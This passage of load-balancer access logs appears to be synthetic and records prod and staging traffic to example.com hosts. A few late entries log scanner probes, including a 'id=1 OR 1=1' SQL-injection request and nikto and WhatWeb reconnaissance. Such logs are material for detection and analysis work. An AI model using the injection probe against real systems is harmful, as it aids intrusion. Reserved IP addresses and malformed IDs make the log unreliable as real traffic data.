0.088556 404 404 997 6662 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d410-cb9da86329544e468ad785f4" "prod-api-alb.example.com" "-" 10 2024-11-01T02:01:36.345107Z "forward" "-" "-" "10.0.224.158:443" "404" "-" "-" +https 2024-11-01T02:01:36.850079Z staging-alb 232.234.10.6:14460 189.112.206.198:8080 0.147776 0.132481 0.149587 200 200 27 12689 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d410-51520afde31847e3929e72db" "staging-alb.example.com" "-" 2 2024-11-01T02:01:36.850079Z "forward" "-" "-" "189.112.206.198:8080" "200" "-" "-" +https 2024-11-01T02:01:37.093976Z staging-alb 48.82.107.183:63326 223.195.25.14:80 0.000423 0.180178 0.016269 200 200 821 4073 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d411-904ed479f094442187cee003" "staging-alb.example.com" "-" 5 2024-11-01T02:01:37.093976Z "forward" "-" "-" "223.195.25.14:80" "200" "-" "-" +https 2024-11-01T02:01:39.040373Z prod-api-alb 219.167.241.193:30877 10.0.80.168:443 0.024414 0.355945 0.053131 200 200 383 12702 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d413-d7c600aa8b164e82a70fc837" "prod-api-alb.example.com" "-" 7 2024-11-01T02:01:39.040373Z "forward" "-" "-" "10.0.80.168:443" "200" "-" "-" +https 2024-11-01T02:01:40.226497Z prod-web-alb 124.114.14.163:27407 10.0.91.13:443 0.022844 0.188694 0.036104 200 200 487 5845 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d414-ecd2f53b3804404bb49936ec" "prod-web-alb.example.com" "-" 6 2024-11-01T02:01:40.226497Z "forward" "-" "-" "10.0.91.13:443" "200" "-" "-" +https 2024-11-01T02:01:41.738389Z staging-alb 36.158.34.58:63535 233.107.207.121:8080 0.118106 0.026213 0.142343 200 200 189 11559 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d415-3fb68626773749039611f434" "staging-alb.example.com" "-" 8 2024-11-01T02:01:41.738389Z "forward" "-" "-" "233.107.207.121:8080" "200" "-" "-" +https 2024-11-01T02:01:42.922370Z prod-api-alb 113.253.102.241:61008 10.0.229.187:443 0.084488 0.254189 0.082323 301 301 794 4527 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d416-59e066e705ef432183d68803" "prod-api-alb.example.com" "-" 6 2024-11-01T02:01:42.922370Z "forward" "-" "-" "10.0.229.187:443" "301" "-" "-" +https 2024-11-01T02:01:44.297873Z staging-alb 245.112.24.145:27128 157.107.174.109:8080 0.083045 0.430943 0.047800 200 200 431 12465 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d418-22dd46d9b10d4502a5446484" "staging-alb.example.com" "-" 6 2024-11-01T02:01:44.297873Z "forward" "-" "-" "157.107.174.109:8080" "200" "-" "-" +https 2024-11-01T02:01:45.154175Z prod-api-alb 77.42.91.44:53381 10.0.9.60:443 0.090008 0.422470 0.077405 200 200 843 9074 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d419-4c2aca4a6e3e40c8971672d1" "-" "-" 5 2024-11-01T02:01:45.154175Z "forward" "-" "-" "10.0.9.60:443" "200" "-" "-" +https 2024-11-01T02:01:45.738703Z prod-api-alb 16.72.115.230:53842 10.0.31.26:443 0.024522 0.154611 0.093067 200 200 643 8734 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d419-b0ef96450de74cf8a3faba6c" "prod-api-alb.example.com" "-" 5 2024-11-01T02:01:45.738703Z "forward" "-" "-" "10.0.31.26:443" "200" "-" "-" +https 2024-11-01T02:01:46.415894Z prod-api-alb 192.162.78.183:44381 10.0.154.71:443 0.056974 0.210422 0.093549 301 301 473 539 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d41a-6b4799c0052548429313d61e" "prod-api-alb.example.com" "-" 0 2024-11-01T02:01:46.415894Z "forward" "-" "-" "10.0.154.71:443" "301" "-" "-" +https 2024-11-01T02:01:48.185604Z prod-web-alb 151.136.249.207:25990 10.0.148.202:443 0.079785 0.205495 0.089583 200 200 638 5416 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d41c-5e74040b81694a6dba3eab3b" "prod-web-alb.example.com" "-" 6 2024-11-01T02:01:48.185604Z "forward" "-" "-" "10.0.148.202:443" "200" "-" "-" +https 2024-11-01T02:01:49.420138Z prod-web-alb 22.58.157.109:12671 10.0.22.220:443 0.039057 0.321999 0.085809 200 200 198 5734 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d41d-3ba5feea88af40b7aba1af0f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:01:49.420138Z "forward" "-" "-" "10.0.22.220:443" "200" "-" "-" +https 2024-11-01T02:01:51.268082Z staging-alb 250.223.117.20:54126 79.255.180.210:80 0.131650 0.179619 0.018964 302 302 505 5922 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d41f-bd06942f4755445bbca5e58e" "staging-alb.example.com" "-" 6 2024-11-01T02:01:51.268082Z "forward" "-" "-" "79.255.180.210:80" "302" "-" "-" +https 2024-11-01T02:01:51.382156Z prod-api-alb 221.226.226.223:11106 10.0.242.179:443 0.007418 0.045843 0.082691 200 200 843 8796 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d41f-4587036369fb489cb2963d70" "prod-api-alb.example.com" "-" 4 2024-11-01T02:01:51.382156Z "forward" "-" "-" "10.0.242.179:443" "200" "-" "-" +https 2024-11-01T02:01:52.844162Z prod-web-alb 119.14.103.37:28359 10.0.35.161:443 0.052049 0.342628 0.032691 200 200 528 9869 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d420-4192961550b14fbda7c64fa0" "prod-web-alb.example.com" "-" 3 2024-11-01T02:01:52.844162Z "forward" "-" "-" "10.0.35.161:443" "200" "-" "-" +https 2024-11-01T02:01:53.423560Z prod-web-alb 54.145.137.232:36626 10.0.116.96:443 0.077970 0.082858 0.089189 301 301 188 10764 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d421-f4cd8297f63f4c42a5f3f4a9" "prod-web-alb.example.com" "-" 1 2024-11-01T02:01:53.423560Z "forward" "-" "-" "10.0.116.96:443" "301" "-" "-" +http 2024-11-01T02:01:55.043506Z staging-alb 108.61.139.164:23296 21.189.234.182:8080 0.094603 0.472854 0.001206 200 200 342 4235 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d423-4fc48840f58f42bca11e03a7" "staging-alb.example.com" "-" 8 2024-11-01T02:01:55.043506Z "forward" "-" "-" "21.189.234.182:8080" "200" "-" "-" +https 2024-11-01T02:01:56.967521Z prod-api-alb 62.95.231.254:35261 10.0.141.71:443 0.090217 0.409401 0.085853 200 200 689 13978 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d424-3365889e54e048c197fb4b2f" "prod-api-alb.example.com" "-" 10 2024-11-01T02:01:56.967521Z "forward" "-" "-" "10.0.141.71:443" "200" "-" "-" +https 2024-11-01T02:01:58.801732Z prod-api-alb 155.125.233.111:30714 10.0.66.205:443 0.088074 0.119622 0.010310 404 404 640 1069 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d426-40b89b4cf5cb4b619a1c8dc9" "prod-api-alb.example.com" "-" 3 2024-11-01T02:01:58.801732Z "forward" "-" "-" "10.0.66.205:443" "404" "-" "-" +http 2024-11-01T02:02:00.524830Z staging-alb 123.175.105.216:41059 185.78.6.98:443 0.021915 0.123172 0.093770 200 200 385 14561 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d428-a83f70f1e96b4b98a50f1642" "staging-alb.example.com" "-" 1 2024-11-01T02:02:00.524830Z "forward" "-" "-" "185.78.6.98:443" "200" "-" "-" +https 2024-11-01T02:02:00.919648Z prod-web-alb 110.15.207.175:29403 10.0.3.84:443 0.006846 0.461776 0.029973 302 302 374 7720 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d428-5590109aab574568a28faa56" "prod-web-alb.example.com" "-" 3 2024-11-01T02:02:00.919648Z "forward" "-" "-" "10.0.3.84:443" "302" "-" "-" +https 2024-11-01T02:02:02.913558Z staging-alb 8.50.145.96:60732 253.24.61.241:8080 0.134590 0.694236 0.083430 200 200 199 2039 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d42a-cfc03dda633e4a8e9b40a49b" "staging-alb.example.com" "-" 4 2024-11-01T02:02:02.913558Z "forward" "-" "-" "253.24.61.241:8080" "200" "-" "-" +https 2024-11-01T02:02:03.311392Z prod-web-alb 60.219.175.42:60143 10.0.55.9:443 0.062566 0.438461 0.072351 200 200 426 13940 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d42b-5c1d5176a4014d6fb05be80a" "prod-web-alb.example.com" "-" 1 2024-11-01T02:02:03.311392Z "forward" "-" "-" "10.0.55.9:443" "200" "-" "-" +https 2024-11-01T02:02:04.447207Z prod-web-alb 151.6.91.247:25964 10.0.193.144:443 0.084225 0.245708 0.039710 200 200 50 10873 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d42c-b9b0bfb627474d708c047eb9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:02:04.447207Z "forward" "-" "-" "10.0.193.144:443" "200" "-" "-" +http 2024-11-01T02:02:05.180000Z staging-alb 246.37.8.110:62514 92.188.48.125:80 0.107505 0.229254 0.007391 302 302 324 9726 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d42d-6dcf1fa47aef4cc5a1e7551a" "staging-alb.example.com" "-" 9 2024-11-01T02:02:05.180000Z "forward" "-" "-" "92.188.48.125:80" "302" "-" "-" +http 2024-11-01T02:02:06.345077Z staging-alb 193.236.156.3:45417 143.62.121.193:80 0.094573 0.457734 0.147055 302 302 273 11705 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d42e-494c467f372e4f98934fbf8a" "staging-alb.example.com" "-" 1 2024-11-01T02:02:06.345077Z "forward" "-" "-" "143.62.121.193:80" "302" "-" "-" +https 2024-11-01T02:02:07.498397Z prod-api-alb 200.240.68.191:60603 10.0.43.221:443 0.050052 0.003676 0.023003 301 301 660 6559 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d42f-3f516aaae11c4c67b2903ad3" "prod-api-alb.example.com" "-" 1 2024-11-01T02:02:07.498397Z "forward" "-" "-" "10.0.43.221:443" "301" "-" "-" +https 2024-11-01T02:02:08.462939Z staging-alb 179.166.88.123:57294 50.27.34.30:80 0.041321 0.122218 0.146322 200 200 937 11995 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d430-ba33fba933624548a41f9bf1" "staging-alb.example.com" "-" 7 2024-11-01T02:02:08.462939Z "forward" "-" "-" "50.27.34.30:80" "200" "-" "-" +https 2024-11-01T02:02:09.951703Z prod-web-alb 33.35.202.232:51609 10.0.14.96:443 0.037313 0.387218 0.054587 404 404 334 315 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d431-e72d98b3c941479c9e02316a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:02:09.951703Z "forward" "-" "-" "10.0.14.96:443" "404" "-" "-" +https 2024-11-01T02:02:11.197096Z prod-api-alb 208.75.57.134:62648 10.0.200.244:443 0.075517 0.003737 0.072285 302 302 414 10182 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d433-9540f07fd75043918c87a2b7" "prod-api-alb.example.com" "-" 8 2024-11-01T02:02:11.197096Z "forward" "-" "-" "10.0.200.244:443" "302" "-" "-" +https 2024-11-01T02:02:12.273513Z prod-web-alb 73.164.212.51:58946 10.0.146.62:443 0.081778 0.487867 0.087175 200 200 240 6246 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d434-2c3b0afa9b254b58adc697b4" "prod-web-alb.example.com" "-" 9 2024-11-01T02:02:12.273513Z "forward" "-" "-" "10.0.146.62:443" "200" "-" "-" +https 2024-11-01T02:02:13.050191Z prod-api-alb 147.117.163.150:23531 10.0.238.51:443 0.026216 0.153537 0.043884 302 302 125 10949 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d435-58c117d2f9214acfba6d19ee" "prod-api-alb.example.com" "-" 10 2024-11-01T02:02:13.050191Z "forward" "-" "-" "10.0.238.51:443" "302" "-" "-" +http 2024-11-01T02:02:14.040920Z staging-alb 171.88.246.155:11812 226.29.133.230:80 0.052213 0.275545 0.141402 200 200 91 8957 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d436-5bb4651f624c493b9f844a70" "staging-alb.example.com" "-" 2 2024-11-01T02:02:14.040920Z "forward" "-" "-" "226.29.133.230:80" "200" "-" "-" +https 2024-11-01T02:02:14.550035Z prod-web-alb 46.253.107.26:39550 10.0.17.254:443 0.038367 0.469003 0.072598 200 200 428 13704 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d436-c4bc6574adba4fc6b7c9fa39" "prod-web-alb.example.com" "-" 4 2024-11-01T02:02:14.550035Z "forward" "-" "-" "10.0.17.254:443" "200" "-" "-" +https 2024-11-01T02:02:15.502074Z prod-api-alb 48.231.45.194:59016 10.0.184.253:443 0.088843 0.039849 0.038055 301 301 486 938 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d437-2ccbd7f3807c4e269a59bb84" "prod-api-alb.example.com" "-" 0 2024-11-01T02:02:15.502074Z "forward" "-" "-" "10.0.184.253:443" "301" "-" "-" +http 2024-11-01T02:02:17.430064Z staging-alb 62.167.244.126:11843 242.173.11.248:443 0.135038 0.575734 0.100423 200 200 805 10547 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d439-7184812b9b1347bcacbec028" "staging-alb.example.com" "-" 6 2024-11-01T02:02:17.430064Z "forward" "-" "-" "242.173.11.248:443" "200" "-" "-" +https 2024-11-01T02:02:19.260458Z prod-api-alb 220.198.19.189:12965 10.0.128.51:443 0.090505 0.094369 0.072051 302 302 331 12624 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d43b-69d19184cf7d4248b08bb5d5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:02:19.260458Z "forward" "-" "-" "10.0.128.51:443" "302" "-" "-" +https 2024-11-01T02:02:20.743327Z prod-api-alb 14.222.18.122:17781 10.0.88.121:443 0.073494 0.310754 0.003948 301 301 900 3399 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d43c-09706d70b03f4fb99004a5fd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:02:20.743327Z "forward" "-" "-" "10.0.88.121:443" "301" "-" "-" +https 2024-11-01T02:02:21.574642Z prod-web-alb 117.224.55.9:56954 10.0.95.156:443 0.057919 0.498329 0.023861 302 302 619 13309 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d43d-c5e908b6e25944c39adc42f1" "prod-web-alb.example.com" "-" 10 2024-11-01T02:02:21.574642Z "forward" "-" "-" "10.0.95.156:443" "302" "-" "-" +http 2024-11-01T02:02:22.477604Z staging-alb 147.180.227.146:42518 179.91.252.243:8080 0.125850 0.033019 0.087635 200 200 943 8097 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d43e-95eb0651983f40d6b7b9216f" "staging-alb.example.com" "-" 6 2024-11-01T02:02:22.477604Z "forward" "-" "-" "179.91.252.243:8080" "200" "-" "-" +https 2024-11-01T02:02:22.960273Z prod-api-alb 45.155.205.164:26197 10.0.227.229:443 0.071401 0.083762 0.062643 500 500 355 5264 "POST /users?id=1 OR 1=1 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d43e-1475209eda48484bbb9ce83a" "-" "-" 7 2024-11-01T02:02:22.960273Z "forward" "-" "-" "10.0.227.229:443" "500" "-" "-" +https 2024-11-01T02:02:24.597778Z prod-web-alb 185.181.125.99:21066 10.0.64.210:443 0.049264 0.496362 0.084167 404 404 205 13481 "POST /server-status HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d440-488f517bff2741cea7444177" "-" "-" 5 2024-11-01T02:02:24.597778Z "forward" "-" "-" "10.0.64.210:443" "404" "-" "-" +http 2024-11-01T02:02:26.516840Z staging-alb 255.156.191.200:61874 114.222.170.166:443 0.114490 0.173318 0.012616 200 200 703 2041 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d442-87ef5dbe050a45f3b40aa070" "staging-alb.example.com" "-" 5 2024-11-01T02:02:26.516840Z "forward" "-" "-" "114.222.170.166:443" "200" "-" "-" +http 2024-11-01T02:02:26.810356Z staging-alb 92.218.174.166:27137 249.44.114.116:80 0.027116 0.220232 0.010004 404 404 143 10887 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d442-bc963ee091ce46018ba23ec4" "staging-alb.example.com" "-" 0 2024-11-01T02:02:26.810356Z "forward" "-" "-" "249.44.114.116:80" "404" "-" "-" +https 2024-11-01T02:02:28.601199Z prod-api-alb 14.222.142.117:24359 10.0.160.96:443 0.003859 0.024876 0.060665 200 200 827 12465 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d444-f4a125a8c16f4ea287d86774" "prod-api-alb.example.com" "-" 8 2024-11-01T02:02:28.601199Z "forward" "-" "-" "10.0.160.96:443" "200" "-" "-" +https 2024-11-01T02:02:30.435363Z prod-api-alb 45.155.205.6:12888 10.0.36.24:443 0.027095 0.493804 0.052992 403 403 763 12157 "GET /administrator HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d446-04a4093826704d28b7a9fbd7" "-" "-" 1 2024-11-01T02:02:30.435363Z "forward" "-" "-" "10.0.36.24:443" "403" "-" "-" +https 2024-11-01T02:02:30.633586Z prod-web-alb 201.74.113.181:16021 10.0.211.78:443 0.094811 0.222437 0.049917 301 301 745 11426 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 